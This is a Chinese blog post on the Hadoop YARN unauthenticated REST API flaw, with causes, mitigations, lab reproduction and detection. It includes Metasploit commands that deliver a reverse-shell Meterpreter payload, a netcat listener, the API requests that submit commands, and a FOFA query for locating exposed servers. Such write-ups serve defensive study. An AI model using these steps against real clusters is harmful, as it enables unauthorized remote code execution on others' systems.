本文最后更新于520 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com
一、Hadoop简介
Hadoop是一个功能强大的开源分布式计算平台,专为处理和存储大规模数据集而设计。
二、漏洞成因
Hadoop YARN(Yet Another Resource Negotiator)是Hadoop生态系统中的集群资源管理器, 负责协调集群中的计算资源和调度作业。然而,YARN的某些配置可能存在安全漏洞
漏洞成因:
- 默认开放的REST API端口:YARN的REST API默认开放在8088和8090端口,如果未进行适当的访问控制,攻击者可以利用这些API进行未授权访问。
- 配置不当:如果YARN的配置文件(如yarn-site.xml)未正确设置访问控制和认证机制,可能导致攻击 者能够绕过安全措施。
- 权限过大:如果YARN的某些用户或服务被授予过高的权限,攻击者可能利用这些权限执行恶意操作。
- 服务漏洞:YARN的某些服务可能存在已知漏洞,攻击者可以利用这些漏洞进行攻击。
三、安全措施
- 限制API访问:应该限制对YARN REST API的访问,只允许特定的IP地址或网络访问这些端口。
- 配置认证机制:启用YARN的认证机制,如Kerberos,确保所有请求都经过认证。
- 权限最小化:遵循最小权限原则,确保用户和服务只拥有完成其任务所需的最小权限。
- 更新和打补丁:定期检查并更新YARN及其依赖的软件,应用安全补丁以修复已知漏洞。
- 监控和审计:实施监控和审计机制,以便及时发现和响应可疑活动。
四、漏洞利用
在kali里开启hadoop服务

1.利用脚本

开启监听

2.利用模块
注意:此方法要用到msf
msfconsole -q
use exploit/linux/http/hadoop_unauth_exec
set rhosts 192.168.81.127
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.81.238
set lport 5566
exploit
3.漏洞复现
- 监听端口等待反弹 shell 连接
nc -lvvp 5566
- 调用 New Application API 创建 Application POST请求 http://ip:8088/ws/v1/cluster/apps/new-application ,创建Application
返回信息:
<NewApplication>
<application-id>application_1688957760252_0004</application-id>
<maximum-resource-capability>
<memory>8192</memory>
<vCores>4</vCores>
</maximum-resource-capability>
</NewApplication>
- 调用 Submit Application API 提交命令 POST请求 http://ip:8088/ws/v1/cluster/apps, 提交执行命令
五、漏洞发现
- fofa语句
app="APACHE-hadoop-YARN"
- POST请求
向 http://ip:port/ws/v1/cluster/apps/new-application 发送POST请求,如果响应返回 application-id,则表明存在漏洞